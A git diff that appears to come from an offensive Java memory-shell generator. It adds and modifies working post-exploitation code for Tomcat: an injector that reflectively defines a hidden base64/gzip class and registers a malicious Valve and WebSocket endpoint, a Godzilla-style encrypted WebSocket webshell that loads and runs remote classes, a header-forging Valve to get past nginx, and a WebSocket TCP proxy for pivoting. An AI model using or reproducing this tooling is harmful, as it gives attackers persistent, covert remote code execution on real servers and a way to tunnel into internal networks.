|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
clazz = defineShell(classLoader, getBase64String());
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(base64));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
private void inject(Object context, Object obj) throws Exception {
|
||||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||
if (container == null) {
|
||||
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||
}
|
||||
|
||||
if (container == null) {
|
||||
throw new RuntimeException("container is null");
|
||||
}
|
||||
|
||||
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Class<?> serverEndpointConfigClass;
|
||||
Class<?> builderClass;
|
||||
try {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||
} catch (ClassNotFoundException e) {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||
}
|
||||
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
||||
constructor.setAccessible(true);
|
||||
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
||||
Object endpointConfig = invokeMethod(o1, "build", null, null);
|
||||
|
||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
|
||||
@@ -5,11 +5,8 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
@@ -6,10 +6,12 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.management.ManagementFactory;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
|
||||
@@ -7,11 +7,9 @@ import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.management.ManagementFactory;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
|
||||
@@ -6,7 +6,6 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
|
||||
@@ -46,6 +46,8 @@ public class Tomcat extends AbstractServer {
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
||||
.addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
|
||||
.addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
|
||||
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
import org.springframework.web.servlet.mvc.Controller;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
@@ -4,7 +4,6 @@ import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.util.Scanner;
|
||||
|
||||
|
||||
@@ -16,7 +16,6 @@ import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.charset.Charset;
|
||||
|
||||
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||
|
||||
|
||||
@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.nio.ByteBuffer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/9
|
||||
*/
|
||||
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||||
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
|
||||
public static String key;
|
||||
private Session session;
|
||||
private static Class<?> payload;
|
||||
|
||||
@Override
|
||||
public void onMessage(String message) {
|
||||
public void onMessage(ByteBuffer byteBuffer) {
|
||||
byte[] result = null;
|
||||
try {
|
||||
byte[] data = base64Decode(message);
|
||||
byte[] data = byteBuffer.array();
|
||||
data = x(data, false);
|
||||
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
||||
payload = reflectionDefineClass(data);
|
||||
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
||||
result = getErrorMessage(e).getBytes();
|
||||
}
|
||||
try {
|
||||
session.getBasicRemote().sendText(base64Encode(x(result, true)));
|
||||
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
||||
session.addMessageHandler(this);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
try {
|
||||
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
||||
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
||||
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
try {
|
||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
|
||||
@@ -12,11 +12,12 @@ import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -8,11 +8,12 @@ import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -12,11 +12,12 @@ import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.suo5v2;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -11,11 +11,12 @@ import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -8,11 +8,12 @@ import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -10,11 +10,12 @@ import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.suo5v2;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -14,11 +14,12 @@ import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.SocketChannel;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.*;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.BlockingQueue;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.wsbypass;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/13
|
||||
*/
|
||||
public class TomcatWsBypassValve implements Valve {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
String pathInfo = request.getPathInfo();
|
||||
String path;
|
||||
if (pathInfo == null) {
|
||||
path = request.getServletPath();
|
||||
} else {
|
||||
path = request.getServletPath() + pathInfo;
|
||||
}
|
||||
Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
|
||||
if (sc == null) {
|
||||
sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
|
||||
}
|
||||
if (sc == null) {
|
||||
throw new ServletException("Server container not found");
|
||||
}
|
||||
addHeader(request, "Connection", "upgrade");
|
||||
addHeader(request, "Upgrade", "websocket");
|
||||
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
|
||||
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
|
||||
for (Method method : upgradeUtil.getMethods()) {
|
||||
if ("doUpgrade".equals(method.getName())) {
|
||||
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
private Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
Field declaredField = obj.getClass().getDeclaredField(fieldName);
|
||||
declaredField.setAccessible(true);
|
||||
return declaredField.get(obj);
|
||||
}
|
||||
|
||||
private void addHeader(Request request, String key, String value) {
|
||||
try {
|
||||
Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest");
|
||||
coyoteRequestField.setAccessible(true);
|
||||
Object coyoteRequest = coyoteRequestField.get(request);
|
||||
Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders");
|
||||
Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest);
|
||||
Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class);
|
||||
Object messageBytes = addValueMethod.invoke(mimeHeaders, key);
|
||||
Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class);
|
||||
setStringMethod.invoke(messageBytes, value);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
Valve next;
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.wsproxy;
|
||||
|
||||
import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.AsynchronousSocketChannel;
|
||||
import java.nio.channels.CompletionHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.concurrent.Future;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/14
|
||||
*/
|
||||
public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer>, CompletionHandler<Integer, Session> {
|
||||
private Session session;
|
||||
private long messageCount = 0;
|
||||
private AsynchronousSocketChannel currentClient = null;
|
||||
private final ByteBuffer buffer = ByteBuffer.allocate(102400);
|
||||
private ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
|
||||
|
||||
public ProxyWebSocket() {
|
||||
}
|
||||
|
||||
public void completed(Integer result, Session attachment) {
|
||||
buffer.clear();
|
||||
try {
|
||||
if (buffer.hasRemaining() && result >= 0) {
|
||||
byte[] arr = new byte[result];
|
||||
buffer.get(arr, 0, result);
|
||||
baos.write(arr, 0, result);
|
||||
ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
|
||||
if (attachment.isOpen()) {
|
||||
attachment.getBasicRemote().sendBinary(response);
|
||||
}
|
||||
baos = new ByteArrayOutputStream();
|
||||
readFromServer(attachment, currentClient);
|
||||
} else {
|
||||
if (result > 0) {
|
||||
byte[] arr = new byte[result];
|
||||
buffer.get(arr, 0, result);
|
||||
baos.write(arr, 0, result);
|
||||
readFromServer(attachment, currentClient);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void failed(Throwable exc, Session attachment) {
|
||||
exc.printStackTrace();
|
||||
}
|
||||
|
||||
public void onMessage(ByteBuffer message) {
|
||||
try {
|
||||
message.clear();
|
||||
messageCount++;
|
||||
process(message, session);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void onOpen(Session session, EndpointConfig endpointConfig) {
|
||||
this.messageCount = 0;
|
||||
this.session = session;
|
||||
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
|
||||
session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
|
||||
session.addMessageHandler(this);
|
||||
}
|
||||
|
||||
private void readFromServer(Session channel, AsynchronousSocketChannel client) {
|
||||
this.currentClient = client;
|
||||
buffer.clear();
|
||||
client.read(buffer, channel, this);
|
||||
}
|
||||
|
||||
private void process(ByteBuffer messageBuffer, Session channel) {
|
||||
try {
|
||||
if (messageCount > 1) {
|
||||
AsynchronousSocketChannel client = channelMap.get(channel.getId());
|
||||
client.write(messageBuffer).get();
|
||||
readFromServer(channel, client);
|
||||
} else if (messageCount == 1) {
|
||||
String values = new String(messageBuffer.array());
|
||||
String[] array = values.split(" ");
|
||||
String[] addrArray = array[1].split(":");
|
||||
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
|
||||
int port = Integer.parseInt(addrArray[1]);
|
||||
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
|
||||
Future<Void> future = client.connect(hostAddress);
|
||||
try {
|
||||
future.get(10, TimeUnit.SECONDS);
|
||||
} catch (Exception ignored) {
|
||||
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
|
||||
return;
|
||||
}
|
||||
channelMap.put(channel.getId(), client);
|
||||
readFromServer(channel, client);
|
||||
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,6 @@
|
||||
package com.reajason.javaweb.probe.config;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.ToString;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
|
||||
@@ -9,7 +9,6 @@ import com.reajason.javaweb.probe.payload.JdkProbe;
|
||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||
import com.reajason.javaweb.probe.payload.dns.DnsLogJdk;
|
||||
import com.reajason.javaweb.probe.payload.dns.DnsLogServer;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
@@ -7,7 +7,6 @@ import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.SleepConfig;
|
||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||
import com.reajason.javaweb.probe.payload.sleep.SleepServer;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
|
||||
@@ -92,4 +92,25 @@ class CustomShellGeneratorTest {
|
||||
assertTrue(referencedClasses.contains("com/bes/enterprise/webtier/Valve"));
|
||||
assertFalse(referencedClasses.contains("org/apache/catalina/Valve"));
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testJakartaServlet(){
|
||||
